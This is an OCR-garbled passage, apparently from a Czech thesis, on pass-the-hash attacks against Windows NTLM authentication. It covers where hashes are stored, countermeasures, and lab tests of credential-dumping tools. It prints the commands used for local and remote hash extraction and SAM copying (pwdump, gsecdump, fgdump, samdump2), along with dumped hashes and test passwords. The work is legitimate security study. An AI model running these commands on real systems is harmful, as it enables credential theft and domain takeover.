NTLM.

Utok pass the hash mize predstavovat velkou hrozbu v prostiedi, které spravuje
active directory. V pripadé, Ze je utok tuspésny, mize dojit ke kompromitaci vy-
soce privilegovanych administratorskych 1uc¢ti, a tudiz k ziskani pristupu kamkoliv
v ramci celé domény [18].

Zde predstavuje velmi vyraznou hrozbu pouziti mechanizmu SSO (Single-sign
On), ktery umoznuje piihlasovani k sit{ poskytovanym sluzbdm bez nutnosti znovu
zadavat heslo. V paméti systému musi byt obsazeny kopie ptihlasovacich udaji,
které jsou automaticky poskytnuty p¥i pozadéni o konkrétni sluzbu. Utocnik tedy
muze po uspésném utoku jednoduse vyuzivat veskeré zdroje na siti [1§].

Je tedy patrné, ze by mél byt kladen velky diraz na bezpecnostni opatreni, ktera
by néasledky tspésné kompromitace méla zmirnit. V souc¢asné dobé ovSem neexistuje
univerzalni feseni, jelikoz to by muselo obsahovat navrh nového autentizac¢niho pro-

tokolu ¢i vyraznou zménu mechanizmt protokolt soucasnych [1§].

3.1 Princip PtH

Utok Pass the hash na konkrétn{ stanici se skladé ze dvou &asti [I8].
o Nejprve utocnik musi ziskat pristup k pocitaci obéti a nasledné ziskat auten-
tiza¢ni udaje (V pripadé pass the hash se jednd o NTLM hash hesla)
o Poté jsou ukradené tudaje podvrzeny autentizacni sluzbé za ucelem ziskani

pristupu ke zvolenému uctu.

K tomu, aby ovSem utoc¢nik mél pristup ke vSem stanicim a sluzbam v ramci
jedné domény, toto nestaci, a je nutné ziskat pristup k doménovému kontroléru.

Schéma utocnikova postupu pres sit je zndzornén na obr. 3.1]

« Uto¢nik musi nejprve ziskat administratorsky piistup k lokalni stanici, kde je
spustén skodlivy koéd, ktery je schopny z konkrétnich mist ziskat uzivateltv
hash hesla (nejcastéji SAM databdze). Vlozenim takto ziskaného hashe do
paméti procesu, kde jsou ulozeny prihlasovaci udaje, se mize prihlasit pod
prave ziskanym uctem na dalsim pocitaci. Timto zpiisobem ttoc¢nik postupuje

celou siti.
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« Uto¢nik pouzije ukradené tdaje, aby se pfihlasil na dalsi pocitace, kde exis-
tuji potiebné ucty pro dalsi postup siti. Takto ttocénik postupuje dale, nez se

dostane ke stanici, na které existuje vysoce privilegizovany doménovy ucet.

Administratorsky ucet:
56a38c75feaddc2e6ae0913ef0d88905

D —— D ———
_—
\ s . . .
N X Privilegizovany doménovy
Lokalni uZivatel: > ucet:
€1930b4927e6b6d92d120c / \ \ d4421a47dd93a403eb9eb
7clbba3421 // , 7/ ec427eedab8
. /
Ukradeny hash: / g
, .
€1930b4927e6b6d92d120c7clb , .
ba3421 / \
/' / 0
Ukradeny Hash: NG
/
/ 56a38c75feaddc2e6ae0913ef0d _ \
/ 88905 -7
/ ’ o=
/ / Ukradeny hash:
/ , 7 d4421a47dd93a403eb9ebec427e
v / eda68
L _- i
~
P -
—/
—/
—

A
N

Plny pfistup k celé doméné

Utoénik
Doménovy Kontrolér

Obr. 3.1: Pass the hash - ziskani pristupu k celé doméné

e Ovladnutni tohoto tctu ttocnikovi umoznuje zménu pristupovych prav a spravu
veskerych uzivatelskych uc¢tt. Nyni si jiz muze pridélit pottebna préava pro svij
ucet.

« V pripadé, Ze je ucet kompromitovan, atoc¢nik ziskal administratorsky pristup
k active directory, a muze tedy ovladnout veskeré stanice v ramci domény

a také veskeré domény, které maji napadenou doménu oznacenou jako duve-

ryhodnou [18].

3.1.1 Ziskani autentizacnich udaji
Aby 1utoc¢nik mohl ziskat potfebné udaje ze systému, je nutné mit k pocitaci ad-
ministratorsky pristup. Poté miize z nékolika mist za pomoci skriptii a programii

ziskat prihlagovaci data [1§].
e SAM (Security Account Manager) databaze. Jedna se o databézi ulozenou

v registrech systému. Konkrétné v fetézci
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HKEY LOCAL MACHINE\SAM\SAM

Ta obsahuje uzivatelska jména a k nim prislusné hashe hesel. V rdmci zvyseni
bezpecnosti k SAM databazi smi pristupovat pouze procesy systému a neni
mozné z ni za béhu vy¢ist jakdkoliv data. V novéjsich verzich systému Windows
byla také zavedena funkce Syskey, ktera ma za nasledek castecné zasifrovani
SAM souboru a také v ném ulozenych hashi. Ve vychozim nastaveni se SAM

databéze nachazi ve slozce:
%WINDIR %\ System32\ Config\,

kde %WINDIR% prestavuje slozku, ve které je systém Windows nainstalo-
vany [18].
Pamét procesu Local Security Authority Subsystem (LSASS). Jedné se proces

systému Windows, ktery slouzi jako autentizacni server a nachazi se v:
%WINDIR%\System32\lsass.exe.

Tento proces ma na starosti ovérit prihlaseni a tvorbu dalsiho procesu zodpo-
védného za funkcnost sluzby Winlogon. Jelikoz se jedna o proces, ktery pracuje
s hashem hesel, a musi byt docasné ulozena pravé v pameéti daného procesu,
ze kterého mohou byt ttocnikem ziskana [18].

Databaze doménové active direcotry. Konkrétné na doménovém kontroleru,
coz je server, ktery zodpovidé za spravu prihlasovani, opravnéni atd [1§].
Credential Manager - umoznuje uchovavat prihlasovaci iidaje pro automatické
prihlasovani na internetové stranky nebo na ostatni pocitace v ramci sité.

Veskeré udaje jsou ulozeny ve slozce ,,vault*:
C:\users\ %username%\appdata\local\micorsoft\ credentials.

K ni mohou pristupovat pouze potiebné programy a sluzby, které ulozena hesla
nebo hashe hesel bezpecné poskytnou pozadovanym serverim [I§].
Hodnota LSA secret v registrech. Jedna se o hodnotu v registrech, kde jsou
ulozeny diilezité informace o systému. To zahrnuje
— hesla pouzita k automatickému prihlaseni, pokud je tato sluzba zapnutna,
— prihlasovaci idaje ke sluzbam, které muze spoustét uzivatl Windows [18§].

Rodicovska hodnota obsahujici vSechny potfebné tidaje se nachazi v:
HKEY LOCAL_MACHINE\Security\Policy.

Zachyceni komunikace protokolu Server Message Block (SMB). Jedn4 se o ko-
munikacni protokol aplikacni vrstvy, ktery slouzi k pristupu na sdilené mé-
dium [17].
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3.1.2 Interaktivni autentizace

Po spusténi systému je automaticky otevien proces Winlogon.exe. V pripadé nut-
nosti zadani prihlasovacich tdaji Winlogon zavola dynamickou knihovnu MSGINA.dll
(GINA). Ta obsahuje uzivatelské rozhrani pro zadani prihlasovacich udaju. Uzivatel
je nyni vyzvan k autentizaci [19].

Po zadani jména a hesla GINA zavola funkci ,Lsal.ogonUser“ k specifikovani
spravného autentizacniho balicku, ktery vyhodnoti prihlasovaci idaje. Pri lokdlni
autentizaci se jedna o dynamickou knihovnu MSV1 0.dll. Pokud by se uzivatel pfi-
hlasoval k doméné za pomoci neprimého ovérovani, byla by vybrana jina knihovna,
kterd to umoznuje.

Je tedy patrné, ze v knihovné MSV1_0.dll jsou implementovany koédy pro pod-
poru NTLM protokolu [19].

Jedna-li se o lokalni autentizaci, zadané udaje jsou porovnavany vuci udajim
v SAM databézi, jez uz ovsem neni soucasti procesu lsass.exe.

Poté je vysledek tspésné ¢i netispésné autentizace zaslan zpét na GINA. Pokud
je autentizace uspésnd, uzivatel je opravnén zacit pouzivat systém a prihlasovaci
tdaje jsou uloZeny pro néasledné znovupouziti [19].

Proces interaktivni lokalni autentizace je zobrazen na obr. |3.2]

Winlogon.exe
. LSA » Autentizacni balicky
] . (MSV1_0.dll atd.)
GINA
(MSGINA.dII) A
server
LSASS.exe ‘
SAM
databaze

Obr. 3.2: Mechanizmus lokalni interaktivni autentizace ve Windows
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Procesu interaktivni autentizace vyuziva vétsina pass the hash néastroji. Ty pre-
vazné pracuji na principu dll injection. Po ziskdni a zadani uzivatelského jména,
domény /pracovni skupiny a uzivatelova hashe je vytvofena dynamickd knihovna,
ktera je vlozena do paméti procesu LSASS.exe, aby byla prepsana aktivni LSA re-
lace [20].

Druhou moznosti neni primo vkladani dynamickych knihoven, ale alokovani pa-
méti uvnitt procesu lsass.exe. Z toho je nasledné mozné vycist pouzité hashe pro

aktivni relace a také je nahradit jiz ziskanymi [12].

3.2 Ochrana

Jak jiz bylo Teceno, utok pass the hash vyuziva nedokonalosti v ndvrhu autentizac-
nich protokoltl a neexistuje proti nému zadné jednotné opatieni, které by jej mohlo
eliminovat. Lze vSak pouzit jista opatieni, ktera dany ttok alespon znesnadni [I8].

Cilem téchto protiopatieni je ttocnikovi odeptit tfi zakladni véci umoznujici
provedeni ttoku.

1. Nalezeni mist, kde jsou prihlasovaci idaje a jejich hashe ulozeny. Toto je ovsem
témeér nemozné, jelikoz v soucasné dobé existuje k systémim Winodws rozsahla
dokumentace, a je tedy mozné si velmi jednoduse dohledat, kde se konkrétni
prihlasovaci tdaje nachazi. Zména ukladani udaji by vyzadovala velmi vy-
razny zasah do kédu systému, a to je na administrativni irovni nemozné [I8§].

2. Ziskani prihlasovacich tdaja. K ziskani potfebnych tdaji dtoénik vyuziva
skodlivého koédu, ktery pristupuje k paméti ¢i disku pocitace. Ke spusténi
tohoto skriptu je nutné mit administratorska opravnéni. Je tedy velmi vhodné
zakéazat lokalni administratorsky pristup pro standardni uzivatele a snazit se
detekovat Skodlivy kéd [18].

3. Zmovupouziti prihlasovacich tdaji. Jedna se predevsim o omezeni sluzby sin-
gle sign-on. Pokud jiz ovSem tutoc¢nik ziskal kontrolu nad administratorskym
uctem, je mozné upravit prava standardnim uzivatelim a utok neni nutné
provadét znova [18].

Je tedy patrné, ze hlavni opatieni by méla byt zaméfena na krok ¢. 2, tedy ome-
zeni administratorského pristupu a zabranéni spusténi skodlivého skriptu, ktery titok
umoznuje. V tabulce [3.1] jsou uvedena néktera opatietni a jejich vliv na potlaceni
utoku pass the hash.
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Tab. 3.1: Opatfeni proti itoku pass the hash a jejich efektivita

Opatieni Efektivita zameéreni
Odstranéni standardnich uzivatelt z lokalni admi- velka prava
nistrativni skupiny

Omezeni pristupu k privilegizovanym doménovym velka pristup
uctam

Zruseni lokalnich G¢tt s administratorskymi pravy velka prava
Antivirova ochrana velka spusténi programu
Zavedeni Intrusion Prevention System velka spusténi programu
Omezeni poctu privilegizovanych doménovych ucta stredni pristup
Aktualizace systému miniméalni | spusténi programu
Odstranéni LM hasht a zruseni NTLM protokolu | minimélni | spusténi programu

3.2.1 Zamezeni spustétni itocného programu
Intrusion Prevention System (IPS)

Intrusion prevention system je modul nebo samostatné zarizeni, které dokaze moni-
torovat provoz na siti (network IPS) pripadné na konkrétni stanici (Host-based IPS)
a na zakladé anomalii v provozu blokovat potiebny provoz, sluzbu ¢i program.

Na cilové stanici by mély byt monitorovany zmeény v uzivatelskych tctech (zména
prav, ¢i pridani novych). Veskeré nevyzadné zmény ¢i nové Gcty by mély byt smazany
a nasledné také vygenerovana poplasna zprava.

Vhodné je také kontrolovat netispésné pokusy o autentizaci a zda neprobéhla

explicitni autentizace z jiného uctu [12].

Antivirova ochrana

K ziskani hashe a naslednému provedni programu vyuziva vétsina dostupych na-
stroji metody tzv. ,dll injection®. Jedna o tutok, kdy skodlivy kod je spustén v ad-
resnim prostoru jiného procesu a to tak, ze je vlozen do soubort dynamickych kniho-
ven [12].

V soucasné dobé by méla byt vétsina antivirovych programii schopna toto ne-

standardni chovani zachytit a skodlivy soubor smazat [12].

Omezeni docasného ukladani prihlasovacich udajta

Docasné prihlasovaci idaje musi byt ulozeny pro ptipad, Zze dojde k vypadku spojeni

a uzivatel by se musel po zprovoznéni opét autentizovat [12].
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V soucasné dobé systémy Windows piivodné umoznuji ulozeni 25 doc¢asnych pfi-
hlaseni [12].
Nastavenim hodnoty tetézce CachedLogonsCount v registrech na hodnotu 0,

dostupného pres:

HKEY LOCAL_MACHINE\Software\Microsoft\ WindowsNT\ Current
Version\ Winlogon\,

se toto docasné ukladani zakaze [12].

3.2.2 Omezeni prav
Zruseni lokalnich 4c¢td s administratorskymi pravy

V pripadé, Ze se na kompromitované cilové stanici nenachazi lokalni acty s adminis-
tratorskymi pravy, ttocénik nebude moci po prihlaseni na stanici ménit opravnéni
a nasledné je mu znemoznén pristup ke vsem pocitacum v siti ¢i doméné [I§].

Pokud jsou z konkrétnich divodi lokalni téty s administratorskymi pravy vy-
zadovény, je nutné jim omezit alespon vzdalenou administrativu (tzn. omezit prava
napf. k vyuzivani vzaledné plochy) [18].

Omezeni vyuziti vzdaleného pripojeni lze také dosdhnout nastavenim spravnych
pravidel na firewallu. Je tedy vhodné napft. rozélenit sit na segmenty a vytvorit

politiku vzdaleného pristupu [18§].

Zapnutni UAC

Jestlize neni mozné lokalnim uc¢tim administratorska prava zcela odebrat, je vhodné
zapnout funkci User account control. Po jejim zprovoznéni bézi zvolené tucty bez
administratorksych prav. Jestlize spoustény porgram tato prava vyzaduje, je uzivatel
vyzvan k zadani ovérovacich tdaju [21].

Tato akce miize znesnadnit itoc¢nikovi ziskani potrebnych prav ke spusténi skriptu

k ziskani hashe ¢i provedeni atoku [21].

Omezeni pristupu privilegizovanych doménovych ucéta

Je vhodné odeprit doménovym administratoriim autentizaci na méné davéryhodné
koncové stanice. Dale oddélit doménovy ucet od normalniho ic¢tu téhoz administra-
tora. Utocnik tedy nemuze ziskat pristupové tdaje administratorksého uctu, jelikoz
ty nikdy nebyly uloZeny na kompromitované stanici [18].

V active directory je také mozné zvoleny tcet nastavit tak, aby neslo vyuzivat

sluzeb poskytovanych siti bez dalsi autentizace [1§].
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7 uvedenych opatieni je patrné, ze nejvétsi problém plyne z toho, Ze ttocnik
ziskal ptistup k a¢tim s administratorskymi pravy. Jelikoz vsekeré hashe hesel musi
byt nékde ulozeny, poté jiz témér neni mozné utocnikovi zabranit v jejich ziskani
a provedeni tutoku. Navrzena opatfeni maji utocnikovi pouze ztizit kompromitaci
a jejich ic¢innost velmi zavisi na kompromisech, které jsou firmy ochotny podstoupit.

7 podstaty popsanych opatfeni je také patrné, Ze je ne vSechny lze aplikovat
podle libosti. Jejich zavedeni zavisi na znalostech administarotra, ale hlavné na

zvolené autentizacni a sitové politice dané firmy.
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4 TESTOVANI DOSTUPNYCH NASTROJU

Verejné dostupné nastroje pro provedeni utoku pass the hash byly testovany na tiech
nejbézneéjsich operacnich systémech Microsoft:

« Windows XP Professional s aktualizaci ,service pack 3¢ (platforma x86)

o Windows 7 Professioanl s aktualizaci ,service pack 1 (platforma x86 i x64)

« Windows Sevrver 2008 R2 s aktualizaci ,service pack 2“ (platforma x64)

Ve vsech systémech byly vytvoreny uzivatelské tcty s potfebnymi opravnénimi,
které jsou uvedeny v tabulce [f.Il LM hash hesel je mozné ziskat pfi pavodnim
nastaveni pouze u operacniho systému Windows XP. U novéjsich verzich byl zakazan
a vyuziva se pouze NTLM hash.

Vsechny uzivatelské ¢ty byly ponechany v nezménéné pracovni skupiné WOR-

KGROUP a byl aktivovan administratorsky ucet prikazem:
C:\> net user Administrator /active:yes

Pro testovaci tcely byla z pocatku také zcela vypnuta antivirova ochrana.

Tab. 4.1: Testovaci uzivateslké ucty

Uzivatel Heslo Opréavnéni
Administrator admin spravce
A05 management | spravce
B05 security spravce
Host guest uzivatel

7 dtvodu bezpecnosti politky nebylo mozné na OS Windows Server ponechat

vyse uvedené udaje, proto byla zavedena nova uzivatelska hesla viz tab.

Tab. 4.2: Windows Server - Testovaci uzivateslké ucty

Uzivatel Heslo Opravnéni
Administrator | Xsw23edc | spréavce
A05 Cde34rfv spravece
B05 Zaql2wsx | spravce
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Tab.

4.3: Prehled pouzitych hesel a jejich hash otiskt

heslo LM hash NTLM hash
admin FO0D412BD764FFES1 209C6174DA490CAE
AAD3B435B51404EE B422F3FA5ATAE6G34
management | 7T6F1BB5SADESABDA B792835825ADFC48
0A59CDA5244689BE CD5F8467ACFDCD5SE
security C6100ACES0E48267 D5E9E0DB50BA46B9
B79AE2610DD89D4C 48853221BE26DA2B
guest AOE150C75A17008E 823893ADFAD2CDAG6
AAD3B435B51404EE E1A414F3EBDF58F7
Xsw23edce | — 9DBB4B80F448BB34
638CC660F232AC44
Cdeddrfv | — 80161EEFF565DF25
CD08237D894821FC
Zaql2wsx | — 0BB4FA60C6ECDE3B
C2732CAFE8174B11

4.1 Moznosti zaskavani hashe

Jak jiz bylo zminéno, hash uzivatelskych hesel je mozné ziskat mnoha zpiisoby.
K testovani byly vyuzity vybrané volné dostupné nastroje:

e Pwdump

Fgdump

Gsecdump
Pass the hash toolkit
Skript ke kopirovani SAM databéze

4.1.1 Pwdump

Program Pwdump umoznuje uto¢nikovi ziskat hash hesel ze SAM databaze ulozené
na mistnim disku. Program funguje na principu rozbaleni SAM databaze ze sou-
borového systému. Ze ziskanych dat je nasledné vycéten obsah SAM souboru, tedy
nazvy uctu a jejich hashe.

Spusténim programu bez zadani konkrétnich parametrt se provede extrakce
udaju z lokalni SAM databéaze (obr. . Testovani probéhlo na operac¢nim systému
Windows Server 2008.

7 vystupu ve tvaru

Jméno uctu : Relativni ID : LM hash : NTLM hash :::
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je mozné vycist veskeré potiebné tidaje pro nasledujici uskutecnéni utoku. Jestlize je
misto nékteré polozky uveden Fetézec ,NO PASSWORD*##iccicokictokictoriorstk«
dany hash u konkrétniho uc¢tu neni k dispozici. To je zptisobeno bud tim, ze neni
k ctu pritazeno zadné heslo, nebo na daném opera¢nim systému neni takovy hash

podporovan. Ve Windows 7 bude misto polozky : LM hash : vzdy tento fetézec.

C:xUserssUojtasDesktopsTools >PuDump? .exe

Puvdunp v?.1 — raw password extractor

Administrator:50@8:N0 PASSWORD :9DBE4B8 AF448EB34638CC66AF232AC44:- - =
Guest:581 :NO PASSWORD N0 PASSUWORD HEH
BA5:18AA:NO PASSWORD :@BBE4FA6ACGECDE3BCZ732CAFES174B11:::

ABS :18682 N0 PASSWORD 88161 EEFFS65DF25CDAB237D894821FC:- - -

Obr. 4.1: Windows Server 2008 - extrakce udaju z lokalni SAM databéze

U starsi verze programu Pwdump je mozné jej spustit i na vzdaleném systému pri
znalosti uzivatelského jména a hesla na zvolené stanici. To je mozné provést pouze
pro systém Windows XP.

Nejprve je nutné specifikovat sdilenou sitovou polozku (-s IPCS$), IP adresu vzda-
leného pocitace (192.168.0.20), uzivatelské jméno (-u A05) a heslo (-p management).
Vystup je uveden na obrazku

C:spudumph >PuDump.exe —s IPCS 192.168.8.20 —u ABS —p management

Administrator:588: FAD41 2BD764FFES1AAD3IB435B514A4EE:: 2A2C6174DA49BCAEB422F3FASAPAEG34: = :

Guest 581 :NO PASSUORD tNO PASSHORD tI:
HelpAssistant:108A:BFA367636881ASAYIWEECEFE?3EY11B:-8B?1E6DB4C3ICANIBS12EF72BDB2848A6 = ¢
SUPPORT _388945a8:10682 :NO0 PASSWORD tBESBFA?6E27D8893F219223B2BPABADB: = =

Host:1804:ABE15ACY5A1 70B8EAAD3B435B51484EE:- 82389 3ADFAD2CDAGELA41 4F3EBDFSBFY: =
AAS5:1AA5 : 76 F1BBSBADEBABDAAAS?CDAS 244682 BE: B7?2835825ADFC48CD5F846 7ACFDCDSE: &
BAS : 1886 :C61BBACEEAE48267B79AE2618DDEYD4C: DS E?EADESABA46B948853221BE26DA2E: : =

Obr. 4.2: Windows 7 - vzdalené spusténi pwdump

Nevyhoda porgramu pwdump spociva v nemoznosti vyuziti u active directory.
Tam jsou hesla ukladana v souboru ntds.dit, kdezto pwdump je schopny pracovat
pouze se SAM databazi. Také neni mozné jej vzadéalené spustit na operacnich sys-

témech Windows Vista a novéjsich.

4.1.2 Gsecdump

Program Gsecdump umoznuje ziskat nejen tidaje ulozené v lokélni SAM databazi, ale
také ze souboru NTDS.dit pri vyuziti active directory. Pro jeho spravnou funkcénost
na Windows Vista a novéjsi musi byt spustén s paramaterem -S, ktery jej spusti pod
uzivatelksym uc¢tem LocalSystem, kde neni uvedeno zadné heslo. Pro ziskani hashe

ze SAM databdze slouzi parametr -s (viz obr. [£.3).
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Jeho velkou vyhodou je moznost vycist hodnotu LSA secret z registrti pro zrovna
prihlaseného uzivatele. Tim se docili zobrazeni uzivatelova hesla v ¢istém textu. Pro

tuto moznost je nutné pridat ke spusténi parametr -1.

C:slUserssnBA5~DesktopsTools*gsecdump.exe -8 -1 —-s

DefaultPassword

73 BB 65 BA 63 BB VS B8 Y2 BA 67 B@ 4 B 7? A s.e.c.u.r.i.t.y. security
DPAPI_SYSTEH

A1 B@ BA BA 49 47 FE 12 BE 27 C1 F4 E6 6B 69 E? ... .IG..."...ki. __ 3?7__7%_
9A FD F6 3B FD 33 24 2F A1 6D 86 7A 33 AF E2 57 ...;.3%/.m.=3..M 73??__7277
NE%R%Q 84 Cb6 26 D7 BO 1E 3E BA 58 58 - TR TR 1 _wer e
15 E3 16 84 BF Ei AF 24 8C 86 FE 9D C4 E§ D3 3% ....... LS L _F_M7
D? B2 7?1 91 5h AR Al C? 42 45 9@ 98 52 17 32 27 ..q.Z...BE..R.2' #7_797__
29 DB BB AF 72 E1 D8 8n B4 8D C4 7F BF 43 EA E4 >...r........ C. Y
25 6C C5 16 DE 86 86 94 F2 58 4F 48 7B 44 Ch B2 x1....... POGID. . TETETEI_

ABS {current > :1802 :aad3h435bhhi4B4ecaadib43thsi4d4ee :h792835825adf c48cdsfB46Pacfdedbe:::
Rdmlnlstratur(current) LAA:aadibh435hh1484eeaadib435hhldfdee :207c6174dad?Bcach422f IfabaYaeb

34:

BES(current) 1803 :aad3b435h51484eeaad3ib435h51404ee :d5ePeBdbh58ba46h?48853221be26da2hb: - :
GuestCcurrent?:5P81 aad3b435h51484ecaadibd3chil1484ee :31dbcfeld16ae?31b73c59d7eAcHBIcA: -
Host(current?:1884:aad3ib435h51484eeaadib435h51484ee 823893 adfad2cdabeladi4f 3ehdf 87

Obr. 4.3: Windows 7 - lokalni pouziti programu Gsecdump

7 jeho vystupu je tedy patrné ze, heslo uzivatele B05 je ,security®, v dalsi ¢asti
jsou pak zobrazeny vsechna ulozend uzivatelska jména a jim prirazené hashe hesel.
Jelikoz byl program spustén na opera¢nim systému Winodws 7, kde nejsou ukla-

dany hodnoty LM hashe, ve vystupu je tak jeho hodnota nahrazena retézcem
aad3b435b51404ecaad3b435b51404ee,

ktery reprezentuje jeho nespecifikovanou hodnotu.

Gsecdump ovSem nelze pouzit pro ziskdni potrebnych tdaji lokdlné na systému
Windows Server 2008, po prikazu k extrakci LSA secret a extrahovani SAM databaze
byl vystup nasladujici:

C:xUserssBAS~Desktop Toolz>gsecdump.exe —% -1 —=

DefaultPassword
DPAPI _SYSTEM
@91 88 8@ 8@ 9F 1C B1 4C 77 E? 5C 1A D? BC 26 C8  ....... Luw.%eu... d__77
G5 E? 392 BE DC 7C 2D 5@ 42 A4 B3 89 9E E3 EA A2 .. 9._I-PB....... _rrerr_?
N%gﬂzi E3 8D 8F A? 33 83 9B C? 38 BY? By....3...8. r__2?
FF DC 7D 51 8E BB 42 F3 C4 5C D2 F1 68 EE F4 B@ ..>Q..B..~..h... _#% % 7%
2F 98 7C BE 2C 81 A4 5B 98 C1 6E 51 62 BB 3B 28 .~ 1., ..[..nQb_;C{ 2377977_
A@ 18 55 FA 5A E2 76 BA 15 89 91 EA 57 F4 AR 28 AL I W.. T3
CA 5F 45 26 F8 62 91 9B D8 JE 32 93 D? AR @F 2D _E& b...»2__...— 7_1M_17

error [297]1 in EnumProcessModules:

Obr. 4.4: Windows Server - lokalni pouziti programu Gsecdump

4.1.3 Fgdump

Program Fgdump umoznuje ziskat pozadovany hash dvéma zpiisoby:
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o extrahovanim ze SAM databéze,

e 7 docasnych souborti potfebnych pro prihlaseni, ¢i vyuziti sluzby.

Pfi pivodnim nastaveni jsou lokalné provedeny obé metody a vysledek je slouc¢en
do jednoho souboru (obr [4.5).

AB5:10805 :76F1BBS8ADESABDABASPCDAS 24468 9BE :B792835825ADFC4BCDSF846FACFDCDSE: & :
Administrator :500:FOD412BD764FFES1AAD3BL3SB51404EE -209C6174DAYYBCAEBY22F3FASATAEGS Y- - -
BO5:1006 :C6100ACEBPELE267B7PAEZ2610DDB9DAC -:DSEYEBDBSOBALGEI4BB53221BE26DA2B:

Guest:581:H0 PASSUORD :ND PASSWORD H-H
HelpAssistant:18808:0FB367636881A5A93BBROCBFB93E711B :8B91EGDBAC3CAA3BS12EF72BD8284BA6: - :
Host:18684:ABE158C75A17 ABEEAAD3BAISBS14BAEE - 823893ADFAD2CDPAGE1AN1 4F3EBDF5BF7 11 :

SUPPORT 38894530:1082:N0 PASSWORD :BESBFO96827DB893F219923B2B0ABADE - - :

Obr. 4.5: Windows XP - lokalni extrakce

Vyhoda fgdump spoc¢iva v moznosti testovani cilové stanice, zdali je pritomna
antivirova ochrana bez nutnosti primého spusténi programu, ktery by byl vyhod-
nocen jako skodlivy. V pripadé, Ze je ochrana detekovana, existuje moznost, kdy se
fgdump pokusi antivirus na potfebny okamzik vypnout (restartovat).

P1i testovani ovsem bylo zjisténo, ze u soucasnych plné aktualizovanych antiviro-
vych ochran tento paramater nema vyznam, jelikoz byl program oznacen za skodlivy
jesté predtim, nez mohl byt spustén (viz [£.4).

Ke vzdalenému pristupu je treba nejprve spustit sluzbu ,remote registry*, ktera
umozni vzdalenou spravu registri. K tomu je ovsem nutné opravnéni administratora.

Nésledné byl na systému Windows XP spustén prikaz:

C:\>fgdump.exe -h 192.168.59.130 -u B05
-p security -1 output.txt

Parametr -h 192.168.59.130° specifikuje IP adresu vzdalené stanice, na které
se bude extrakce provadét. V tomto pripadé se jednd o adresu pocitace, na kterém
bézi OS Windows 7. Paramtery ,-u“ a ,-p“ udvavaji uzivatelské jméno a heslo na
vzdalené stanici. Pro vypsani vysledku do souboru output.txt je pouzit posledni
parametr -1

Po tspésném spusténi pak v souboru output.txt bude vypis ziskanych udaju ze
systému Windows 7 viz obr.

AB5:1882:H0 PASSUWORD B792835825ADFCLUBCDSF84GTACFDCDSE: - ¢
Administrator:500:H0 PASSWORD IZ2P9CH174DAUYBCAEBA2Z2FIFASATAEG3 S :
BA5:1883:-H0 PASSWORD :DSEPEBDBSOBA4GEY48853221BE26DA2ZB: 1 :
Guest:581:HO0 PASSUWORD :HO PASSUWORD H-H

Host :1884:H0 PASSWORD :B23893ADPFAD2CDAGETALTIAF3EBDFSBF7 -t

Obr. 4.6: Windows 7 - vzdalené spusténi fgdump
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4.1.4 Pass the hash toolkit

Pass the hash toolkit obsahuje sadu nastroju k provedeni iitoku. Konkrétné se jedna
o dva moduly

» whoisthere.exe (whoisthere-alt.exe)

« jam.exe (iam-ale.exe)

Whoisthere slouzi k ziskdni hashe z aktualnich NTLM relaci, tzn. dokaze z paméti
vycist idaje pouze téch uzivateld, kteri jsou momentalné k dané stanici prihlaseni.
Realné skyta vyuziti v pouze v pripadé, ze utocnik je k dané stanici pripojen napf.
pres vzdalenou plochu.

Alternativni verze néastrojui se odlisuji pouze v rizném pristupu k potirebnym
udajum. Vyuzivaji vice generické feseni a mély by byt schopny fungovat na vétsiné

podporovanych systémii.

C:spshtoolkit vl . 4svwhosthere—alt>whosthere—alt . exe
This tool lists the active LSA logon sessions with NTLM credentials.

the output format is: username:domain:lmhash:nthash

BAS :UOJTA-?D5852E1A :Co1AAACEBAE48267B77AE2618DDE D40 : DSE?EADBSABA46B948853221 BE26DA2E
Administrator:U0OJTA-2D5852E1A FAD412BD764FFEG1AADIB435B51404EE=209C6174DA4?BCAEB422F3FASA?

AE634
ggJTﬂ—9D5859E195:HORKGROUP:nHD3B43EBE14B4EEHHDBB4353514E4EE:31DEGFEEDiEHE931373059D7EECEBQ

Obr. 4.7: Windows XP - vystup Whosthere.exe

Pii testovani byli na Windows XP prihlaseni dva uzivatelé Administrator a B05,
z jehoZ u¢tu byl atok spoustén. Vystup je patrny na obr. 4.7

Ve vypisu tetézec ,VOJTA-9D5859E1IA“ znadi jméno pocitace. V poslednim
radku je zarazeni daného pocitace do domény. Jelikoz se v zadné nenachézi, je uve-
dena pouze pracovni skupina.

Pass the hash toolkit je jiz zastaraly a pro nasazeni v dnesnich sitovych in-
frastrukturach témér nepouzitelny. Jeho nevyhoda spociva v omezeni funkcénosti
pouze na OS Windows XP a starsi. Na novéjsich systémech veskeré nastroje vyka-
zuji chybu. Velmi limitujici je také fakt, ze neni mozné hash ziskat jinym zptisobem

nez z pameéti u aktivnich NTLM relaci.

4.1.5 Kopirovani SAM databaze

Jak jiz bylo zminéno, SAM databéze je chranéna systémem a za jeho chodu k ni nema
bézny uzivatel (i s administratorskymi pravy) pristup. Nelze ji béZznym zptusobem
otevrit, ani zkopirovat. Existuji vsak zptisoby, jak je mozné k databazi ziskat pristup.

o Na konkrétni stanici zavést alternativni operacni systém, a jelikoz pozadovany

systém neni spustén, neni chranéna ani SAM databéaze, a lze ji skopirovat
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o Vyuziti integrovanych nastroji pro spravu registri.

K extrakci hash hodnot je kromé SAM souboru potirebny také SYSTEM soubor.
Ten je ulozen ve stejné slozce jako SAM. Oba dva soubory jsou v puvodnim stavu
bez pripony.

Vyhodou tohoto feseni je, ze ttocnik nemusi fesit problém s antivirovou ochra-
nou. Pokud se mu podari ziskat pristup k pocitaci a databazi skopirovat, rozbalit
ji mize pomoci vySe popsanych natroju jiz na své stanici, kde méa plny pristup

k ovladani antiviru, ktery muze pozastavit.

Zavedeni alternativniho systému

Jako alternativni systém byl zvolen Linux, konkrétné jeho distribuce Backtrack. Ten
dokaze fungovat jako tzv. Live CD, kdy neni tfeba systém instalovat a je mozné jej
spustit samostatné z USB disku nebo CD.

Prikazy:

cp /media/1AD2235FD223/Windows/System32/config/SAM  /root/Desktop
cp /media/1AD2235FD223/Windows/System32/config/SYSTEM  /root/Desktop

byly zkopirovany potiebné soubory pro zisk hashe do slozky ,,Desktop*. Néasledné byl
pouzit nastroj ,bkhive“, ktery ze souboru SYSTEM ziskal zavadéci kli¢, potfebny
k extrakci udajiu ze SAM databéze.

K samotnému zobrazeni hash tidaji byl pouzit nastroj ,samdump2“. Po lokali-
zovani SAM souboru a zavadéciho klice byly ziskany pozadované udaje (obr. .

*x root@bt: ~/Desktop
File Edit View

Obr. 4.8: Backtrack - extrahovani zkopirované SAM databaze
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4.1.6 Nastroje pro spravu registri

